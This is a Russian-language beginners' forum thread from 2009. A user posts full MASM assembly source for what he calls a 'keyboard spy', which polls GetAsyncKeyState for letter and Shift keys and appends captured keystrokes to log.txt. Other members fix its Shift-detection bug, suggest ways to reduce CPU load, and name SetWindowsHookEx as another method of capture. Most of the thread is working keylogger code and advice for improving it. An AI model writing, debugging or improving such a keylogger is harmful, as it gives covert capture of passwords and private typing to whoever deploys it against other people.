Поиск ошибки

Тема в разделе "WASM.BEGINNERS", создана пользователем churik, 13 мар 2009.

  1. churik

    churik New Member

    Публикаций:
    0
    Регистрация:
    28 авг 2008
    Сообщения:
    19
    Здравствуйте, мне требуется написать клавиатурный шпион путем проверки состояния клавиш через WinAPI GetSyncKeyState. Ниже представленный код по задумке должен "перехватывать" клавиши A-Z, а так же различать их регистр путем "перехвата" клавиши SHIFT.
    Проблемы:
    1. При нажатие клавиши Shift только самый первый символ устанавливается в верхний регистр, остальные в нижнем, те если зажать и не отпускать клавишу Shift - в верхнем регистре запишется 1-ый символ, остальные в нижнем. Верхний регистр всех клавиш можно получить только если перед нажатием клавиши зажать Shift и отпустить после. Данную ошибку не вижу(
    2. Если не сложно, то общие замечания по реализации. (только учусь)

    Код (Text):
    1. .386
    2. .model flat, stdcall
    3. include \masm32\include\windows.inc
    4. include \masm32\include\user32.inc
    5. include \masm32\include\kernel32.inc
    6. includelib \masm32\lib\user32.lib
    7. includelib \masm32\lib\kernel32.lib
    8.  
    9. .data
    10. log_path db "log.txt", 0
    11. .data?
    12. ascii_code db ?
    13. .code
    14. start:
    15.  
    16. get_key proc
    17.     local   vk_code :byte
    18.     local   shift_down :byte
    19.     jmp update
    20.     get_regkey:
    21.         invoke GetAsyncKeyState, 10h
    22.         cmp al, 0
    23.         jz get_vk
    24.         mov shift_down, 1
    25.     get_vk:
    26.         inc vk_code
    27.         cmp vk_code, 5Bh
    28.         jz update                                      
    29.         invoke GetAsyncKeyState, vk_code
    30.         cmp al, 0
    31.     jz get_regkey
    32.     cmp shift_down, 1
    33.     jz exit
    34.     add vk_code, 20h
    35.     exit:
    36.         mov al, vk_code
    37.         mov ascii_code, al
    38.         call write_log
    39.     update:
    40.         mov vk_code, 40h
    41.         jmp get_regkey
    42. get_key endp
    43.  
    44. write_log proc
    45.     local   hFile :dword
    46.     local   buf   :dword
    47.     invoke CreateFile, addr log_path, GENERIC_WRITE, 0, 0, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0
    48.     mov hFile, eax
    49.     invoke SetFilePointer, hFile, 0, 0, FILE_END
    50.     invoke WriteFile, hFile, addr ascii_code, SIZEOF ascii_code, addr buf, 0
    51.     invoke CloseHandle, hFile
    52.     call get_key
    53. write_log endp
    54. end start
    Ключи:
    Код (Text):
    1. ml /c /coff /Cp src.asm
    2. link /SUBSYSTEM:WINDOWS src.obj
    Спасибо за внимание.
     
  2. churik

    churik New Member

    Публикаций:
    0
    Регистрация:
    28 авг 2008
    Сообщения:
    19
    Извиняюсь, не задал вопрос)
    Не могли бы Вы подсказать решение проблемы 1?
     
  3. agrischuk

    agrischuk New Member

    Публикаций:
    0
    Регистрация:
    12 янв 2009
    Сообщения:
    47
    Инициализация shift_down нулем должна помочь.
     
  4. Sol_Ksacap

    Sol_Ksacap Миша

    Публикаций:
    0
    Регистрация:
    6 мар 2008
    Сообщения:
    623
    Это сделать, безусловно, нужно, но первую проблему это не решит.

    churik
    Внимательно посмотри на описание функции GetAsyncKeyState. В частности, на описание и тип возвращаемого значения.

    Реализация выглядит очень своеобразно.
     
  5. churik

    churik New Member

    Публикаций:
    0
    Регистрация:
    28 авг 2008
    Сообщения:
    19
    Спасибо, добавил
    Код (Text):
    1. ...
    2. update:
    3. ...
    4. mov shift_down, 0
    5. ...
    Помогло)
    Вам огромное спасибо, я не обратил на это внимание - теперь проверяя состояние Shift'а, проверяю значение старшего байта возвращаемого значения, проверяя статус клавиш - проверяю значение младшего байта.
    Но у меня все же возникло несколько вопросов:
    1. Если верить прототипу ф-ции GetAsyncKeyState, то входные данные должны быть word, но я отправляю byte и усе норм, почему?
    2. Программа при работе занимает ~50% мощности двух-ядерного процессора на 32х разрядной ОС WIndows XP Pro SP3 => ~100% мощности на одно-ядерном процессоре на 32x WinXP Pro SP3. Когда вызываю WinAPI Sleep, 100d после меток get_regkey: или get_vk: - программа перестает работать должным образом. Как уменьшить нагрузку на ЦП, не нарушая работу программы?
    3.
    Sol_Ksacap, что Вы подразумевали под этим? Для меня это очень важно)
    Спасибо за внимание)
     
  6. Sol_Ksacap

    Sol_Ksacap Миша

    Публикаций:
    0
    Регистрация:
    6 мар 2008
    Сообщения:
    623
    1.
    Ох, и правда. Честно говоря, я не знаю, как масм обрабатывает эту ситуацию при ассемблировании... Ага, посмотрел: корректно обрабатывает, но использует лишнюю требуху.
    Код (Text):
    1. push word 0
    2. mov al, vk_key        ; mov al, [ebp + xx]
    3. movzx ax, al
    4. push ax
    5. call GetAsyncKeyState
    Т.е. стек выровнен на границу двойного слова — всё нормально.

    С другой стороны, если объявить vk_key как dword, то всё станет проще:
    Код (Text):
    1. push vk_key            ; push [ebp + xx]
    2. call GetAsyncKeyState
    3.  
    4. или, вариант:
    5. mov eax, vk_key        ; mov eax, [ebp + xx]
    6. push eax
    7. call GetAsyncKeyState
     
     
    2.
    Нет идеи. Хотя...
    Можно, конечно, попробовать каждый раз, проверив все клавиши, засыпать на десяток-другой миллисекунд — но это, опять-таки, не добавит надёжности.
    Ещё можно вызывать GetAsyncKeyState с параметром VK_SHIFT не постоянно, а только после того, как было однозначно определено нажатие на буквенную клавишу (это сократит время на проверку одного буквенного диапазона почти в 2 раза).
    И последнее — открыть лог-файл для записи в начале исполнения программы, закрыть при выходе. Экономия в три системных вызова при каждой записи символа. Немного на фоне постоянного дёрганья GetAsyncKeyState, но тем не менее кое-что.

    Один, скорее всего, осознаёт о полной смене метода, однако всё же следует упомянуть: SetWindowsHookEx.


    3.
    Это мы к тому, что тот же метод можно было реализовать несколько проще (нагляднее) и немного эффективнее (вызывать GetAsyncKeyState(VK_SHIFT) меньшее число раз). Хотя несколько времени прошло и один, возможно, уже переписал процедуру.
    Ага, вот ещё что — было бы нагляднее, если б вместо некоторых числовых констант в коде использовались бы символьные (например, VK_SHIFT вместо 10h).